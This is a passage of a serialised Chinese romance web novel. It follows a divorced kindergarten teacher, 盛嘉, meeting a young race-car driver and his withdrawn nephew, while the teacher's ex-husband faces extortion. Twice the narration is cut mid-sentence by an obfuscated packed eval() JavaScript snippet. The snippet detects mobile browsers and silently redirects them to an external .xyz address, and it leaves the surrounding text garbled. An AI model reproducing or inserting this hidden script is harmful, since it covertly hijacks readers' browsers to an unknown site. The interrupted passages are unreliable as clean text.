送走徐中介后,盛嘉又陷入了无所事事之中。 行李箱就放在沙发一旁,房子也还没收拾,屋内什么生活用品都没有。 明明还有很多的事可以做,盛嘉却仰靠在简陋的布艺沙发上一动不动,眼睛盯着雪白的天花板,直到眼眶发酸。 良久,他慢吞吞地拿出手机,划开屏幕。 手机壁纸是他和余向杭的一张合照,照片上余向杭一手捏着他的脸颊,笑得有点坏,而他脸上也是纵容的笑意。 他们脸贴脸,那么亲密,那么恩爱。 离婚时,他说祝余向杭幸福,可心里还是很不甘心。 为什么余向杭可以这么轻易地放下他们的感情,为什么余向杭离开他依旧可以得到幸福,而他却不行? 余向杭说“他早就知道了,他什么都不会说”时,有没有想过,盛嘉是一个活生生的人,是一个会心痛、会委屈的人,遭遇背叛,心里当然会有很多很多的质问和愤怒想要宣泄而出。 而他选择不说,不是因为“窝囊”,是因为他还想拥有爱余向杭以及被余向杭爱的资格,他还想让这个家庭能相互扶持着走下去。 可那些印在昔日爱侣身上的陌生吻痕,再一次在盛嘉眼前浮现。 盛嘉嘴唇颤抖,他死死咬着唇,告诉自己,不许哭,余向杭走得果断,那他也不可以留恋,也不可以不舍。 然而,眼泪还是寸寸决堤,心脏也撕裂一般地痛,就好像有人不断拿着一把刀从他心底开始刮下血肉,彻底失去余向杭的感觉终于在此刻到来。 盛嘉泪眼朦胧地换掉手机壁纸,删除相册里两人的所有照片。 戒指被取下,当初的誓言也在今天终止,盛嘉以壁虎断尾式的决绝,下定决心要将“余向杭”这个人曾留过的痕迹,一一抹除。 就当以前是偷来的幸福,就当以前是如今的眼泪换来的快乐,还回去、还干净就好了。 当夜色降临,盛嘉哭到眼睛涩痛,再也没有眼泪能流出才停下。 他摇摇晃晃地从沙发上站起身,只随便吃了点饼干,然后开始收拾房间。 拨开因泪水黏在脸颊的发丝,那双漂亮的眼睛已经红肿不堪,嘴唇也被咬得留下深刻的齿痕,但比起一开始那死寂的模样,他终于有了点生气。 凌晨时分盛嘉选择睡在了客厅,在没有人陪时,他不喜欢睡在只有一扇窗的房间,更愿意睡在能看见大片夜空的地方。 好在这间房子有落地的玻璃窗,有足够开阔的阳台,让他能看到窗外明月。 “晚安,盛嘉。” “就算从今以后只有自己一个人,也要好好地生活。” 盛嘉侧躺着看迷蒙的夜色,轻声喃喃自语,随后闭上了眼睛。 周一盛嘉去幼儿园上班时,果不其然蒋禾课间就找了过来。 “盛老师,你的病怎么样了?是不是天太热中暑了?还是吹空调着凉了?“ 蒋禾关心地问,他是一个非常活泼的年轻老师,刚来幼儿园没几天,就和所有老师都聊开了,即便是盛嘉这种沉默寡言的人,偶尔也会和他说上几句话。 “我没事的,现在已经好了。” 想来想去,盛嘉也只能想到这句话回应,他不擅长和人聊天,也不擅长应对别人的关心。 但蒋禾丝毫不在意,他点点头舒了口气,说:“那就好,你周五没来上班,我们都很关心你呢,李老师还悄悄问我知不知道你生了什么病,要不要紧。” 盛嘉一愣,他没有想到平时和自己并不熟的同事居然也会询问自己的情况。 以往他有哪不舒服了都只会告诉余向杭,因为余向杭说这个世界上他是最关心自己的人,别的人都不靠谱,让盛嘉每次只和他说就好,于是余向杭也成为了唯一能让盛嘉感受到关心的人。 但此时,蒋禾的表现还有他随口说出的一句话,却让盛嘉心里泛起了暖意。 原来这个世界上除了余向杭之外,的的确确还有人在关心他。 “盛老师,还有件事,你不介意我八卦一下吧?” 蒋禾忽然笑嘻嘻地靠在墙边开口问,他长了张孩子气的圆脸,又才大学毕业不久,此时笑起来带有年轻人特有的顽皮。 盛嘉比他大了十岁,看蒋禾就像在看一个邻家弟弟,只示意对方直说。 “你上周跟我说你和你爱人要过纪念日,过得怎么样啦?” 蒋禾还没谈过恋爱,对这些婚恋上的事也格外好奇。 盛嘉被他问得不知该如何回答,上周余向杭跟自己说要在家里过结婚纪念日,他难得有些喜形于色,被蒋禾问起也老老实实说了。 但纪念日却变成了离婚的日子,这又要怎么说? 他在四天前和蒋禾说“我爱人要和我过结婚纪念日”,现在却要回答“我离婚了”吗? “这个世界上一定有支持你的人,就像我姐当初离婚,全家人都愁眉苦脸的,但我还是对她说了离婚快乐,以后去追求你真正的幸福吧。” “这也不是什么大事,不合适就离,总比拖着好,盛先生您也还年轻,以后总能遇见更好的人。” 便利店里那个陌生男人和徐中介的话回荡在耳边,让盛嘉本想回避问题的话堵在了嗓子里。 他曾真心爱过余向杭,离婚也是他主动提的,但这些他不后悔,也不认为是自己的错。 一张无期限的欠条,两晚竭力的痛哭,三年忽视的背叛…… 能给的他都给了,能还的他都还了。 既然如此,为什么他还要假装他的婚姻一切安好,他离婚了,他失去了幸福的家庭,这是无法回避的事实。 “纪念日没有过,我跟他离婚了。” 盛嘉坦然地说,他脸上的表情和那天蒋禾所见的期待和欣喜完全不同,令蒋禾一怔。 沉默在他们之间弥漫,片刻后蒋禾开口,却说起了别的话题:“盛老师,我在重组家庭长大,以前爸妈总吵架,吵完又说为了我才不离婚……我总背负着很重的负罪感,觉得自己耽误了他们追求自己的幸福。” “后来他们终于离了,我跟我妈一起生活,她有了新丈夫,两人一直很恩爱,我爸也有了新家,我们偶尔会见面,大家不再吵架了,我爸妈也跟我道歉,说以前不该跟我那么说。” 盛嘉静静地看着蒋禾,很少有人会这样对他袒露心事,因此他听得很专注。 “虽然我们认识不久,但我一直觉得你是个很温柔的人,能让你下定决心要离婚,一定是对方做了什么不好的事吧?” 蒋禾说到这里声音变小,在看见盛嘉脸上表情动了动,他又急急补充:“当然这只是我的感觉!我只是想表达,我、我支持你的决定!” “所以离婚不是一个错误,有时候只是通往幸福的一段经历,你别难过,以后都会好的!” 盛嘉久久没有应声,蒋禾的安慰很坦诚也很笨拙,却让他那颗心慢慢漂浮,而不是像这几天,沉在底部。 蒋禾视线中,盛嘉的神情变得柔软,今天始终拧着的细眉舒展,那双眼睛也恢复了弯弯的弧度,他紧紧抿着的唇,一点点、一点点松开。 落寞、忧惶从这张苍白的脸上褪去,盛嘉露出一个很淡的笑容,看起来心情好了很多。 “嗯,谢谢你,蒋老师。” 他的音色向来柔和,此时尾音上扬,更是温柔得动听。 蒋禾耳根一热,他直愣愣地看着盛嘉,半天才开口:“不、不客气,盛老师。” 从这天开始,蒋禾便开始变着法子想让盛嘉心情更好一点,只是他小孩子心性,总觉得有人陪着玩心情就会好。 于是不仅拉着盛嘉和幼儿园的老师一起聚餐,还会主动组织周末活动,盛嘉有时也被闹得有些无奈,但并未表现出明显的拒绝。 他困在只有余向杭的世界里太久,很多年以来,听到的只有余向杭的声音,以至于没有发现他的身边还有很多关心他的人,还有很多热闹美好的事物在等待他。 “盛老师,周日咱们一起去看赛车比赛怎么样?” 这天周五蒋禾又在下班时拦住盛嘉,手里甩着两张票。 “赛车?不会有点危险吗?” 盛嘉一边收拾东西,一边分出心神看了一眼蒋禾手上的票。 “不会的,咱们坐在观众席,我这票还是前排的超级VIP座位呢,视觉效果绝对好!” 蒋禾说着说着已经开始兴奋地手舞足蹈,盛嘉有些好笑,他点点头,还是答应了下来。 “就是没抢到挨在一起的,咱们得分开坐了。” 没一会儿,蒋禾又低落起来,盛嘉接过他手上的票,没太在意地回答:“没关系,咱们比赛结束后再一起逛逛也可以。” 蒋禾听到这话心情才变好,他们约好时间后便在幼儿园门口告别。 晚上盛嘉看着手上的票,有些好奇地上网搜了搜,发现这一张票竟然要近三千块,顿时有些后悔。 虽然蒋禾说请他去看,但蒋禾也才刚上班不久,三千块都顶得上他一个月工资了,盛嘉实在不好让年纪比他还小的蒋禾花这么多钱,主动给蒋禾转去了三千块,两个人又是好一通拉扯,直到盛嘉故作生气地表示不收钱就不去了,蒋禾才收下。 “盛老师,那我先去那边了,比赛结束门口见!” 周日一进场地,蒋禾便按耐不住了,他和盛嘉匆匆说了几句话便朝自己的座位跑。 离比赛开始还要一个小时,盛嘉便一个人拿着票慢慢在看台上找自己的座位,好不容易找到位置,就发现自己面前坐了个长发的女人,而他的位置就在女人里侧的右手处。 “抱歉女士,借过一下。” 听到声音,女人不经意抬头看了一眼盛嘉,随后愣住一动不动,似乎非常惊讶。 盛嘉有些不明所以,他礼貌地又重复一遍,示意自己要进去,女人这才站起身。 随后这女人便一句话没说,只坐在他身边噼里啪啦地打字,盛嘉一颗心紧张地吊在半空中,总觉得对方的表现很奇怪,令他感觉不安。 好在比赛开始前三十分钟,女人放下了手机,也全程都没有跟盛嘉搭话。 盛嘉对这种比赛完全不了解,看得云里雾里,只能根据周围观众的反应来判断比赛到了程度。 周围人音量大了,他就眨眨眼朝场内看,周围人音量小了,他就收回视线打量起整个场地。 他的平静格外突兀,但好在身边坐着的女人也跟他差不多,全程动都不动,一点声音也没发出。 盛嘉看得都有些无聊了,此时身后的人忽然开始狂吹口哨,挥舞手中旗帜,他惊了一下,涣散的注意力收回,重新放在场内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219957|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只见一辆黑白色赛车势如破竹地冲向终点,随后猛地停下,轮胎在赛道上擦出白烟。 烟雾笼罩间,车门被打开,一个高挑的身影从车内钻出。 掌声和口哨声轰然响起,盛嘉听见周围所有人都在高喊一个名字。 “周子斐!” 那个男人站在终点,随后竟抬脚走向赛道旁的观众席。 他一身红黑相间的赛车服,身高腿长,肩膀宽阔,在尖叫声和持续的闪光灯声中,很快抬手摘掉了自己的头盔。 染成红色的头发有些凌乱地支着,露出光洁的额头,他拽掉手套,又朝盛嘉所在的观众席挥手,随后做了一个潇洒的飞吻。 “这人今天真是够烧包的。” 坐在盛嘉左手边的那个女人突然冷声开口,盛嘉心想好在他们离后排尖叫的人群比较远,不然挥舞的旗帜很有可能会砸过来。 年轻的赛车手逐渐走近,盛嘉慢慢看清了他的长相。 他有一双浓密的剑眉和眼尾上挑、线条凌厉的眼睛,唇形偏薄,明明是一副攻击性极强的长相,此时脸上却挂着若有若无的笑意。 但盛嘉还是觉得他长得有些凶,除此之外,还觉得有些眼熟。 这个叫“周子斐”的赛车手忽然开始跑起来,他欢呼着朝观众席伸手,和前排的人一一击掌。 风吹起那乱蓬蓬的红发,他咧着嘴角,笑得意气风发。 盛嘉心里莫名一动,垂下眼睛不敢再看,同时坐在座位上朝后靠,想要避开这人的互动。 然而,他身旁刚刚骂过周子斐的女人竟也懒洋洋地伸出手,“啪”的一声清响,女人收回了手,红发赛车手也站在了盛嘉的面前。 “要击个掌吗?” 盛嘉没想到他会刻意停下来,甚至伸出了两只手。 周子斐站在观众席的台下,他举高双手,抬头看盛嘉,两只眼睛格外亮,眼神满是雀跃。 这会儿盛嘉又觉得这人像讨食的大型犬,他有邻居养了一只德牧,看起来很凶猛,但每次在主人面前都会吐舌头、眼睛亮晶晶地撒娇,红发的年轻赛车手此刻就像那只德牧。 “你不和他击掌,他不会走的。” 女人开口,她最清楚自己弟弟的臭德行,人来疯、倔性子,闹起来房顶都能被他掀了。 而她身旁这个人,更是周子斐经年累积而成的执着。 盛嘉疑惑地问了一句“什么?”,不明白对方是什么意思,但女人此刻已经站起身准备离席。 最终,盛嘉还是无奈地伸出了手,和人轻轻掌心相触。 周子斐却一把扣住盛嘉的手,随后十指交握,他力道极大地将人拉近几分,紧紧盯着盛嘉的眼睛,轻声说:“谢谢你。” 话间湿润的热气扑在盛嘉的脸上,他嗅到很淡的香水味,混杂着赛车的汽油味,这种气味对他而言十分新奇,同时这人陡然靠近的脸也让他措手不及,这一切都让盛嘉小小地惊呼了一声。 好在周子斐很快收回了手,但他眉眼舒展,落在盛嘉脸上的视线并未错开,倒显得有些恋恋不舍,就这样无声地后退几步,这才朝另一边跑去。 指根抽离前的那一瞬,盛嘉似乎还被周子斐用力捏了一下。 于是在周子斐的身影远去之后,盛嘉的手指还在不明原因地轻颤,带着指间被挤压留下的红痕。 以及,那种被紧握住的、温暖的热度。 “哇,今天的比赛真的好精彩!” 蒋禾比赛结束立刻找了过来,和盛嘉汇合后,他便开始激动地感叹,说个不停。 盛嘉沉默地听了一路,最后还是开口问:“那个叫周子斐的人……很出名吗?” “盛老师对他感兴趣?” 蒋禾惊讶地问,他带盛嘉来看赛车比赛本意只想让人放松放松,没想到盛嘉却主动询问起了赛车手的事情。 “不、不,我不是对他感兴趣!” 盛嘉连忙开口,他急着要解释,甚至磕巴了一下。 蒋禾先是愣了一下,随后才反应过来,他哈哈大笑起来,像个好哥们似地拍拍盛嘉的肩。 “哎,我的意思是你对他的比赛经历感兴趣吗?” “也不是,因为今天他跑到观众席来跟我们击掌,所以……” 所以什么? 盛嘉也没想明白,只是觉得这个人有些眼熟,再加上整场比赛只有这个人还能给他留下一点印象。 “我当时也看见了,听我那边的观众说,这挺罕见的,周子斐是出了名的傲,脾气也差,和观众互动这种事很少发生的。” “而且周子斐今年才二十二岁,有人说他很有可能在三十岁之前就拿到年度总冠军。” 蒋禾感慨完又挠挠头,补了一句:“不过我也才刚接触这个领域不久,这些都是我听别人说的。” 盛嘉点点头,没再问有关周子斐的事,但这个人,这个名字却在他贫瘠又单调的世界里,留下了一抹短暂的红。 他本以为今天发生的一切都只是一个小插曲,却想不到几周之后,他会和周子斐再次相遇。 也不知道,过去那些年周子斐曾无数次和他擦肩而过,又停下脚步久久回望他的背影。 早在和周子斐正式相识的那一天前,盛嘉便已经成为周子斐心头最干净、最洁白的一捧雪。 5. 小朋友 “盛老师,今天你班上转来了个新的小朋友?” 午间吃饭时,李老师向盛嘉问起。 盛嘉点点头,小朋友叫周佳奕,今天早上被一个男人带过来的,应该是孩子爸爸,但园长跟盛嘉什么也没说,只说了小孩的名字和年龄,让盛嘉多照顾照顾。 “盛老师,新来的小朋友调皮吗?” 蒋禾也好奇起来,盛嘉有些为难,不知该怎么回答。 “调皮倒是不调皮,很乖的一个小朋友,就是……不怎么说话吧。” 蒋禾“嚯”了一声,开玩笑道:“能被咱们盛老师说不怎么说话,那估计是一句话都没说。” 盛嘉无奈地笑了笑,还真被蒋禾说中了。 小孩来了只一个人坐在位子上,盛嘉想让他跟大家自我介绍,他站着却一句话都不说,盛嘉问他喝不喝水,要不要上卫生间,他也只用摇头、点头回答,根本不说话。 “那这也很麻烦的哦……” 李老师听完盛嘉的话,皱着眉头开口。 “没事,可能是上午当着很多人,他不好意思说话,我等会午休前再跟小朋友聊聊天。” 盛嘉带起孩子温柔又耐心,从不发火,从不生气,几乎幼儿园里所有小朋友都喜欢他,都黏他黏得很。 吃完午饭,把班上的小孩子都送到午休教室那里,盛嘉叫住了最后不肯进去的周佳奕。 盛嘉蹲下身,朝面前的小男孩浅笑着问:“宝贝不想睡觉的话,我们聊聊天好不好,你可以告诉老师你叫什么名字吗?” 他们所在的走廊里一个人也没有,盛嘉说话声音也很轻很柔和,此时小孩也有了点开口的想法。 “周佳奕……” 圆头圆脑、身穿嫩黄色短袖的小男孩抓着衣摆小声回答,他不太敢看盛嘉。 盛嘉点点头,握住小孩的手,声音温柔:“那,盛老师可以叫你奕奕吗?” 周恒乐猝不及防被盛嘉握住了手,他有些肉乎的小脸立刻红起来,挣开了面前老师的手。 “你、你是女孩子,不能随便拉我的手。” 盛嘉一愣,随后被小孩一本正经的模样逗乐,禁不住笑出了声,他漂亮的眼睛弯着,肩头也开始抖动,及肩的黑发随之滑落。 笑了好一会儿盛嘉才停下,眼眸因为刚才被逗笑而染上一层水润的光,但他脸上依旧是笑盈盈的。 “奕奕,老师是男孩子,来,你看——” 盛嘉仰起头,指着白皙纤细的脖颈,食指搭在凸起的喉结一侧。 周佳奕眨眨眼睛,又凑近看了看,在盛嘉允许的目光下,抬手摸了摸,这才确认面前长头发、声音温柔的老师和自己是一样的性别。 “你看,老师有喉结,和刚刚送奕奕来的爸爸一样,都是男生。” 听到这句话的周佳奕忽然低下了头,心情肉眼可见地低落下去。 盛嘉只听面前五岁的小孩轻声说:“他不是我爸爸,是叔叔……妈妈和爸爸离婚了,我爸爸不要我了,他不想和我见面。” 离婚。 这样一个只有在成人的世界才会频繁出现的词,此刻却在周佳奕尚被糖果、游乐场填满的童年中出现,并被他稚嫩的童音直白地念了出来。 盛嘉的心蓦然一紧,他的目光落在小孩再一次捏紧衣角的手上,又向上看见那张写满了难过却绷紧着不哭的小脸。 盛嘉好像看到很多年前的自己,母亲离开后,他总会在晚上呜呜咽咽地哭,盛千龙有次听烦了,把他拽出小房间揍了一顿,他便不敢再哭出声。 每晚只捏紧衣角,咬住被角,把所有的哭声都努力压抑在喉咙里。 盛嘉慢慢单膝跪在地上,他伸长手臂靠近周佳奕,将这具承载着巨大失落的小小身体搂进怀里。 “奕奕,你知道吗,大人们有的时候比你一个小朋友还要胆小,失败了就会害怕,不敢去面对,所以就会躲起来。” “爸爸不是不要你了,‘离婚’不是说他不要你了,或许,他只是暂时有点害怕奕奕骂他是胆小鬼,怕你生他的气。” 盛嘉不清楚周佳奕的父亲到底是怎么想的,但无论如何,那位父亲放弃了周佳奕的抚养权并拒绝和周佳奕见面,就是一个不敢面对儿子的胆小鬼。 他没有以成人的角度去指责那位父亲,毕竟周佳奕还是一个心里只装着爸爸妈妈的小孩,在他的心里,爸爸妈妈不爱他、不要他就是最大的灾难,更不喜欢被任何人说爸爸妈妈不好。 同时这些事应该是周佳奕的父母努力去解决的问题,而不是旁人来解释说明,更不该让孩子自己被迫承受大人们的选择所带来的后果。 “所以奕奕千万别怪自己,这不是你一个小朋友的错。” 盛嘉抬手抚摸周佳奕短短的头发,另一只手轻轻拍他的背,他轻柔又耐心地哄,直到周佳奕埋在他的肩窝哭出声。 不知过了多久,盛嘉发现周佳奕的哭声慢慢小下去,变成平缓的呼吸,他搂着盛嘉脖子的手也滑下来。 盛嘉稍稍松开手臂,低下头一看,发现周佳奕在他怀里斜靠着睡着了,红扑扑的小脸上还挂着泪珠,他有些好笑地将小孩抱起,送到生活老师那里。 “这是睡着了?” 生活老师看盛嘉抱着周佳奕走过来,小声开口问。 “对,午休结束还有一会儿,我抱他到床上去睡。” 盛嘉跟着生活老师到空床铺边,弯下腰轻手轻脚地将周佳奕放到床上,给他盖上小被子。 盛嘉拿热毛巾小心地给周佳奕擦了把哭湿的脸,又垂下眼睛看小朋友安静的睡颜,他在心中近乎祈愿地说: 上天请你一定要让这个孩子健康、快乐、幸福地长大。 “盛老师,你真的好会哄小孩子。” 生活老师和盛嘉一起出了午睡的教室,不禁感慨。 “主要是我很喜欢小孩子,和他们待在一起就会很开心,总想多照顾一点。” 盛嘉笑着开口,这些日子他和幼儿园的同事关系都拉近了不少,如今面对别人的搭话,也能开口聊几句了。 等午休结束,周佳奕一觉醒来也将睡前的烦恼忘了个干净,他跟所有小朋友一起吃完下午的甜点和水果,在盛嘉的鼓励下,不再像上午坐着不说话,很快便和其他人玩闹起来。 时间转而就到了放学,盛嘉站在幼儿园大门处,亲手将每个小孩送到他们的父母身边。 “盛老师,你跟我妈妈说,我今天是不是最乖的!” “盛老师、盛老师!明天你能不能在门口等我?” “我想听盛老师唱歌,盛老师明天可不可以唱歌?“ 盛嘉一一认真回答他们的话,天生弧度弯弯的笑眼里满是柔和的神情,他背对天空的橙黄色夕阳站立,身形高挑纤细,像黄昏河畔轻垂的柳枝。 及肩黑发在下午带小朋友们玩时扎成了马尾,此时有点散了,几缕碎发挂在耳边,夏日傍晚的风吹过,发丝黏在上扬的唇角,盛嘉随手拨开,弯下腰认真地跟每一个小朋友告别,等人走出大门,又直起身挥手。 他是老师,也像短暂的父母,所有小孩走远都要回首看他,不舍地继续喊“盛老师!明天见!”,只有他笑吟吟地颔首,肯定地表示明天一定见,他们才放心地不再回头看。 人群渐渐散去,天际黄昏渐浓,盛嘉有些忧愁地回头看了一眼还坐在滑滑梯上的周佳奕,直到园区里只剩下他们俩。 “盛老师,要不还是给这孩子的家长打个电话吧,怎么到现在还没来人?” 保安走到盛嘉身边询问,他给周佳奕递了一瓶牛奶,周佳奕看盛嘉点点头,才收下朝保安道谢。 盛嘉正要打电话,周佳奕忽然开口:“盛老师,我妈妈不在家,今天是我舅舅来接我,他说他可能会晚一点,但肯定会来的!” 盛嘉皱起了眉,他这里只留了周佳奕母亲的电话,蹲下身正要问周佳奕记不记得他舅舅的电话,门口响起了一个气喘吁吁的男声。 “抱歉老师,我来晚了,我是周佳奕的家长!” 是一个有些耳熟的声音,盛嘉转过身,看到来人愣在原地。 红色头发,深色牛仔裤,黑色短袖,那张曾被他认为“有些凶”的脸正带着歉意看向自己。 是那个赛车手,是那天非要和自己击掌又紧紧握住自己的赛车手。 他……叫什么名字? 盛嘉视线从男人线条流畅、光洁的手臂划向五官俊逸的脸庞,终于想起—— 周子斐。 他叫周子斐。 “今天我有点事,所以来晚了,不好意思,给老师添麻烦了。” 周子斐抹了把额头的汗,心脏剧烈跳动,他看向幼儿园大门内那个男人。 心中深吸一口气,一步、一步,随着两人距离的拉近,周子斐垂下的手指正在不停颤抖。 “舅舅!” 周佳奕高兴地大叫一声,猛地扑过来抱着周子斐大腿,周子斐本就因为激动和紧张有些腿软,此刻险些在盛嘉面前跪下来。 手掌用力揉了揉周佳奕的头,周子斐低声训道:“松手,别老拽舅舅裤子。” 话音落下,他抬起头又看盛嘉,正欲开口,却被盛嘉截了话头。 “奕奕舅舅,您今天来得太晚了,幼儿园的其他小朋友早都被接走了,奕奕看见别的同伴都被家长接回家,自己还一个人留在这里,心里会害怕的,所以下次请您一定要早点来接奕奕!” 盛嘉难得表情严肃,他细眉拧着,那双总是弯弯的笑眼没了笑意,温柔的声音也十分严厉。 周子斐慌乱地开口道歉:“对不起、对不起,你别生气,我今天有训练,实在脱不开身,下次——” “您该跟奕奕道歉,我并没有生气,我只是觉得奕奕会不开心,小孩子的世界很小,家人和朋友就是他们的全部,就是他们最重要的人,您也应该多像奕奕重视您一样重视奕奕。” “奕奕舅舅,如果下次您做不到及时来接奕奕,请拜托家里别的可靠的长辈来接他回家,别让他一个人坐在幼儿园等。” 盛嘉说完,看见周佳奕似乎被吓到,抬头愣愣地看着他,再看周子斐,发现做舅舅的比外甥更夸张,脸色都白了。 那些过去深埋的委屈此时才被压回去,盛嘉自知有些失态,也……有些迁怒于他人。 沉默片刻,他声音沙哑地开口:“抱歉,我有点着急了,您赶紧和奕奕回家吧,马上快七点了,他应该早就饿了。” 说完,他拿起周佳奕的小书包递给周子斐,就要转身去收拾自己的东西,衣角却突然被拉住。 “盛老师……我等舅舅的时候不害怕,因为你还在陪着我。” 热乎乎的小身体贴过来,盛嘉的大腿被抱住,随后裤子也被人拽住。 “盛老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219958|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你别生气、别难过,你别当胆小鬼,别躲起来……” 盛嘉的眼眶一热,喉头也哽住。 父母的离异、童年压下的哭声,还有等不到家长来接的每个黄昏…… 他只是有点害怕,害怕周佳奕变成另一个自己。 “盛、盛老师,对不起,我再也不迟到了,你别不高兴。” “我们……我们第一次见面,就惹你生气,那我也太过分了……” 跟在周佳奕之后的是磁性又愧疚的男声,周子斐若不是年纪大了,他也想像周佳奕一样扑上去抱住盛嘉的腿道歉。 盛嘉听闻转过身,他先低头朝周佳奕露出一个笑容,告诉他自己没有难过,没有生气,又抬头看向周子斐。 挺高大的一个男生,此刻低着头,两只手都背在身后,好像犯了错的小孩子。 “周先生,你没有惹我生气,还有我们不是第一次见面了。” 盛嘉明白了为什么比赛那天会觉得周子斐眼熟,此时背对着听周子斐说话,那声音使他脑海里慢慢浮现出一双凌厉的眼睛。 于是,盛嘉的眉眼舒展开,一直抿着的唇也轻轻扬起。 “我们一个月前的晚上在便利店见过,你当时说你和家人闹了矛盾,还有几周前的赛车比赛,我坐在第一排,你拿了第一名,赛后和观众互动,非要和我击掌。” 周子斐本以为盛嘉不记得,因为过去无数次偶遇,盛嘉都从不在意,下一次、每一次,这人始终用陌生的眼神和他对视,随后毫不留恋地转身离开,和余向杭并肩前行。 但这一次,他终于以清晰的形象出现在了盛嘉的世界里。 “啊,你竟然记得……” 周子斐呆呆地注视盛嘉的眼睛,他薄唇微张,似乎有些惊讶。 盛嘉再一次笑起来,他开口回答:“我的记忆力挺好的,毕竟要管那么多的小朋友,总得记住他们的名字、声音和长相,所以怎么会不记得?” “舅舅、盛老师,你们在说什么呀?你们之前就认识吗?” 周佳奕打断两人的回答,他一手拉着盛嘉的裤子,一手拉着周子斐的裤子,抬头着急地问“是吗?是吗?”,这幅模样转移了盛嘉的注意力,他没再看周子斐。 “是啊,盛老师和你舅舅早就认识了,所以你在家要好好地吃饭、睡觉,不能挑食,不能装睡,不然你舅舅就全跟盛老师说了。” 盛嘉跟周佳奕说着话,周子斐也回了神,他从那种莫名想要落泪和欢呼的感觉中脱身,重新变成了沉稳可靠的舅舅。 “盛老师,我送你回家吧,今天都这么晚了。” 周子斐打开车门要送盛嘉走,盛嘉本想拒绝,却挨不住周佳奕不停的撒娇,最终还是坐上了后座。 “盛老师你住哪?我开个导航过去。” “我住在新地那边,其实离这里也不远的。” 盛嘉住的确实不远,步行个二十分钟也就到了,实在没必要让周子斐送。 周子斐从后视镜中看了一眼盛嘉,盛嘉坐在后排正中,恰时和他对视上。 他们对视不过一瞬,周子斐便移开了视线,但盛嘉发现那双初见觉得攻击性极强的眼眸,此时的眼神却深而柔和。 “那里啊,我听说那里环境很好,一家人出行很方便。” 听闻此话,盛嘉只点点头,没再多回应什么。 然而周子斐继续说:“盛老师现在还没回去,家里人估计也着急了,等会儿我开快点吧?” 盛嘉沉默,最终还是回答:“不用,我一个人住,你注意安全就好。” 周子斐语气平静地说“行”,但在盛嘉看不见的地方,他直视前方的眼睛冒出一点得意,唇角扬起,脸上缓缓露出一个有些狂气的笑。 车子启动很快就到了盛嘉家的小区门口,就在盛嘉要关上车门时,周子斐转过身叫住了他。 “盛老师,留个联系方式吧?” 外面天色已经完全暗下来,因为停在街道旁,车子没有开大灯,车内只有仪表盘的一点幽光亮着。 在这种环境中,周子斐压低的声音和递过来的手机,似乎有些意味不明。 他眉弓偏低,眉头也压着眼角,这样转头侧身挑着眼看盛嘉,显得有些凶悍,像隐匿在黑暗里的野兽。 盛嘉先是一愣,随后想到周子斐之前说过姐姐将周佳奕交给他照顾,周佳奕今天也说了妈妈不在家,于是恍然地“哦”了一声,自然地拿出了手机。 “好了,微信我扫上了,手机号也在你手机里添加了。” 盛嘉将手机重新还给周子斐,又在周佳奕的“盛老师再见”中,和舅甥俩告别,随后下了车。 快进小区时,盛嘉听见喇叭声,转头看见周佳奕在降下的车窗后朝他挥手,而周子斐也笑着探出手朝他挥了挥。 “快回去吧!” 盛嘉笑起来,他两手比在嘴边做喇叭状,冲他们喊了一句。 此时周子斐才升起车窗,启动车子准备离开。 路上,周佳奕坐在后面大声唱今天学的儿歌,而周子斐一直沉默,却在中途忽然轻笑出声。 “舅舅,你笑什么?我唱得不好听吗?” 周佳奕停下歌声,疑惑地问。 “没什么,就是我可能没多久会给你带回来一个舅妈。” 周子斐手指敲敲方向盘,懒洋洋又掩不住愉悦地开口。 6. 风雨 接到盛千龙电话时,余向杭正在和陈乐康逛街,他看了一眼手机屏幕就皱起了眉。 “乐康,我去接个电话,你等我下。” 余向杭避开男友接通了电话,自己一字还没说,对面那个男人便开始恶声恶气地质问起来:“喂,向杭,这个月的钱你怎么还没转给我啊?你再不转给我,我就要去找盛嘉了!” 厌恶的情绪立刻涌上心头,余向杭过去那些年早就烦透了这个人,但是为了盛嘉能过得安稳点,他便骗盛嘉,盛千龙已经因为之前的故意伤人进了监狱,直到那天他们离婚,这个真相才被捅破。 “你要多少?” 余向杭冷声问,尽管盛嘉说了会解决盛千龙的事,余向杭却清楚盛嘉早在过去的那些事情中怕极了盛千龙,更何况盛嘉当幼师也拿不到多少钱,估计到最后还是得求到自己头上。 所以让盛嘉解决无异于是越解决越麻烦,还是得他替盛嘉收拾这个烂摊子。 抱着这样的想法,余向杭只想像以往一样给点钱了事。 盛千龙讪笑着说了个数,余向杭听了立刻怒骂出声:“十万?你一个月就要十万?” 余向杭每年年薪也才二十万,盛千龙却一次就要找他要十万,简直是疯了。 “这、这个,我最近开销是有点大,但你不是比盛嘉能赚吗?十万应该也没什么吧?” 盛千龙有些心虚,但说着说着,底气又多了起来。 “向杭啊,我这些年可是一直按你说的,完全没去找盛嘉,这十万你就当为了盛嘉,我保证,收了钱,一定听你的话!” 余向杭气得捏紧了手机,他莫名想起结婚那时候,盛嘉再三向他确认盛千龙是否已经进了监狱,并且绝不会有机会知道他们之后在哪生活。 “向杭,盛千龙……是一个很贪婪,很卑鄙的人,这样的人只有彻底远离了,我们才能平静地生活下去。” 他那时不以为然,总觉得自己能掌控好这一切,能盛嘉在自己的保护下一无所知地生活。 